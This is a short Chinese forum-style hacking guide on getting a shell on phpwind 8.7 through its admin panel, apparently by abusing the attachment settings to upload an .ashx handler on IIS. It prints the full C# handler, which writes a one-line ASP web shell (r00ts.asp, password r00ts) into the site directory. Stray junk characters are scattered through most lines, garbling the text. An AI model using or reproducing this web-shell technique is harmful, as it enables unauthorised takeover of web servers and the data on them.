phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
6 |4 |" c9 x2 L! l9 Y
9 s% J1 n8 |8 b7 ?1 s群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

3 t5 W) M" y! T. g0 M3 n- A发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

( s, v4 j( f6 D& b然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
: ], f! H( n) Q8 \  X9 D3 @1 z9 [
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
+ q  E, ^/ L# s& U  q1 V
/ r9 W$ |. w* _/ i6 n# x下面是代码:
+ c0 ~; }: `) A1 _
<%@ WebHandler Language="C#"Class="Handler" %>
$ H* B" w* b3 U8 b! s6 Y: O& Iusing System;
using System.Web;
using System.IO;
: D4 x1 B$ G; r4 `$ zpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
9 j8 N% a& B8 r- Z- d% w5 f  X1 v9 Ufile1.Write("<%eval request(\"r00ts\")%>");
4 x- F, t8 H* N$ dfile1.Flush();
+ `$ B$ g' q% }3 {9 @file1.Close();
% d0 e# q$ Y# O+ E. _; m}
public bool IsReusable {
7 F& n% }; {: g+ F, L" g! wget {
' b: D2 q) L5 s; V6 ]7 w; ]1 }return false;
}
/ X9 s! }/ f, g, i0 g}
, A% V: k8 I! t9 u# j/ ~}
! @. x/ ?* D, U2 J9 r9 X. Y